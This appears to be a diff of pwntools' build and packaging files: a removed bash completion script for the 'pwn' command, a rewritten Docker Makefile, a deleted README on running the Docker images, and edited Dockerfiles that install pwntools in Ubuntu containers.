-_shtab_pwnlib_template='-h --help --host --port --user --pass --password --path --quiet --color'
-_shtab_pwnlib_unhex='-h --help'
-_shtab_pwnlib_update='-h --help --install --pre'
-_shtab_pwnlib_version='-h --help'
-
-
-# $1=COMP_WORDS[1]
-_shtab_compgen_files() {
-  compgen -f -- $1  # files
-  compgen -d -S '/' -- $1  # recurse into subdirs
-}
-
-# $1=COMP_WORDS[1]
-_shtab_compgen_dirs() {
-  compgen -d -S '/' -- $1  # recurse into subdirs
-}
-
-# $1=COMP_WORDS[1]
-_shtab_replace_hyphen() {
-  echo $1 | sed 's/-/_/g'
-}
-
-# $1=COMP_WORDS[1]
-_shtab_replace_nonword() {
-  echo "${1//[^[:word:]]/_}"
-}
-
-# $1=COMP_WORDS[1]
-_shtab_pwnlib_compgen_root_() {
-  local args_gen="_shtab_pwnlib_COMPGEN"
-  case "$word" in
-    -*) COMPREPLY=( $(compgen -W "$_shtab_pwnlib_options_" -- "$word"; [ -n "${!args_gen}" ] && ${!args_gen} "$word") ) ;;
-    *) COMPREPLY=( $(compgen -W "$_shtab_pwnlib_commands_" -- "$word"; [ -n "${!args_gen}" ] && ${!args_gen} "$word") ) ;;
-  esac
-}
-
-# $1=COMP_WORDS[1]
-_shtab_pwnlib_compgen_command_() {
-  local flags_list="_shtab_pwnlib_$(_shtab_replace_nonword $1)"
-  local args_gen="${flags_list}_COMPGEN"
-  COMPREPLY=( $(compgen -W "${!flags_list}" -- "$word"; [ -n "${!args_gen}" ] && ${!args_gen} "$word") )
-}
-
-# $1=COMP_WORDS[1]
-# $2=COMP_WORDS[2]
-_shtab_pwnlib_compgen_subcommand_() {
-  local flags_list="_shtab_pwnlib_$(_shtab_replace_nonword "${1}_${2}")"
-  local args_gen="${flags_list}_COMPGEN"
-  [ -n "${!args_gen}" ] && local opts_more="$(${!args_gen} "$word")"
-  local opts="${!flags_list}"
-  if [ -z "$opts$opts_more" ]; then
-    _shtab_pwnlib_compgen_command_ $1
-  else
-    COMPREPLY=( $(compgen -W "$opts" -- "$word"; [ -n "$opts_more" ] && echo "$opts_more") )
-  fi
-}
-
-# Notes:
-# `COMPREPLY` contains what will be rendered after completion is triggered
-# `word` refers to the current typed word
-# `${!var}` is to evaluate the content of `var`
-# and expand its content as a variable
-#       hello="world"
-#       x="hello"
-#       ${!x} ->  ${hello} ->  "world"
-_shtab_pwnlib() {
-  local word="${COMP_WORDS[COMP_CWORD]}"
-
-  COMPREPLY=()
-
-  if [ "${COMP_CWORD}" -eq 1 ]; then
-    _shtab_pwnlib_compgen_root_ ${COMP_WORDS[1]}
-  elif [ "${COMP_CWORD}" -eq 2 ]; then
-    _shtab_pwnlib_compgen_command_ ${COMP_WORDS[1]}
-  elif [ "${COMP_CWORD}" -ge 3 ]; then
-    _shtab_pwnlib_compgen_subcommand_ ${COMP_WORDS[1]} ${COMP_WORDS[2]}
-  fi
-
-  return 0
-}
-
-complete -o nospace -F _shtab_pwnlib pwn
@@ -1,39 +1,13 @@
-subdirs=$(shell find . -type d -depth 1 | xargs basename)
+subdirs=xenial stable $(wildcard */)
+makefiles=$(wildcard */Makefile)
 tags=base stable beta dev
-ROOT=$(shell git rev-parse --show-toplevel)
-CMD ?= zsh

-ifneq ($(HISTFILE),)
-MOUNT_HISTFILE=--mount type=bind,source="$(HISTFILE)",target=/home/pwntools/.history
-endif
+all: $(makefiles) $(subdirs)

-all: $(subdirs) $(tags)
-
-tags: $(tags)
-
-$(subdirs)::
-	@echo "Building $@"
+$(subdirs):
 	docker build -t pwntools/pwntools:$(shell basename $(@)) "$@"

-develop::
-	docker run -it \
-		--privileged \
-		--net=host \
-		--hostname localhost \
-		--ulimit core=-1:-1 \
-		$(MOUNT_HISTFILE) \
-		--mount type=bind,source="$(ROOT)",target=/home/pwntools/pwntools \
-		pwntools/pwntools:$(shell basename $(@)) \
-		$(CMD)
+$(makefiles):
+	make -C $(shell dirname $@)

-debug:
-	@echo "Subdirs   $(subdirs)"
-	@echo "Tags      $(tags)"
-
-clean:
-	docker container prune
-	docker
-
-FORCE:
-
-.PHONY: all $(subdirs) $(makefiles) $(tags)
+.PHONY: all $(subdirs) $(makefiles)
@@ -1,53 +0,0 @@
-# Pwntools Docker Images
-
-This directory contains some Docker images with various versions of Pwntools pre-installed.
-
-## Getting Images
-
-You can either make them yourself, or pull from Docker Hub.
-
-### Docker Hub
-
-To pull an image from Docker hub, just run the command:
-
-```sh
-$ docker pull pwntools/pwntools:stable
-```
-
-Replace `stable` with `beta` or `dev` as desired.
-
-### Building Locally
-
-To build the images locally, just invoke the `Makefile` with the desired branch target.
-
-```sh
-$ make -C extra/docker dev
-```
-
-## Running Images
-
-To run the `stable`, `beta`, or `dev` image, we recommend the following command line, in this example it is the `dev` image.
-
-```sh
-$ docker run -it \
-    --privileged \
-    --net=host \
- 		--ulimit core=-1:-1 \
- 		pwntools/pwntools:dev
-```
-
-The `--privileged` option is needed to perform any debugging with GDB.
-
-The `--ulimit` option is needed for any corefiles to drop when a program crashes.
-
-The `--net=host` allows you to easily connect to services hosted inside the container from outside the container.
-
-## Development Dockerfile
-
-In addition to `stable`, `beta`, and `dev` Dockerfiles, there is also a `develop` dockerfile which mounts your Pwntools installation inside the VM so you can develop seamlessly while editing on your host.
-
-```sh
-$ make -C extra/docker develop
-```
-
-You will be dropped into a shell, and any changes you make to your local Pwntools checkout will be immediately reflected inside the Docker container.  This is useful for e.g. editing on a macOS host, but testing your changes on Ubuntu without needing to copy files around.
@@ -0,0 +1 @@
+xenial
@@ -1,47 +0,0 @@
-############################################################
-# Dockerfile to build Pwntools container
-# Based on Ubuntu
-############################################################
-
-FROM ubuntu:bionic
-MAINTAINER Maintainer Gallopsled et al.
-
-env DEBIAN_FRONTEND=noninteractive
-ENV LANG en_US.UTF-8
-ENV LANGUAGE en_US:en
-ENV LC_ALL en_US.UTF-8
-
-RUN apt-get update \
-    && apt-get install locales \
-    && locale-gen en_US.UTF-8 \
-    && apt-get install -y \
-        build-essential \
-        git \
-        libssl-dev \
-        libffi-dev \
-        python \
-        python-pip \
-        python-dev \
-        python3 \
-        python3-pip \
-        python3-dev \
-        qemu-user-static \
-        binutils-arm-linux-gnueabihf \
-        binutils-aarch64-linux-gnu \
-        binutils-mips-linux-gnu \
-        binutils-mipsel-linux-gnu \
-        binutils-powerpc-linux-gnu \
-        binutils-powerpc64-linux-gnu \
-        binutils-sparc64-linux-gnu \
-        tmux \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && pip3 install --upgrade pip \
-    && python3 -m pip install --upgrade pwntools \
-    && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
-    && useradd -m pwntools \
-    && passwd --delete --unlock pwntools \
-    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
-USER pwntools
-WORKDIR /home/pwntools
@@ -2,6 +2,5 @@ FROM pwntools/pwntools:stable

 USER root
 RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
-RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools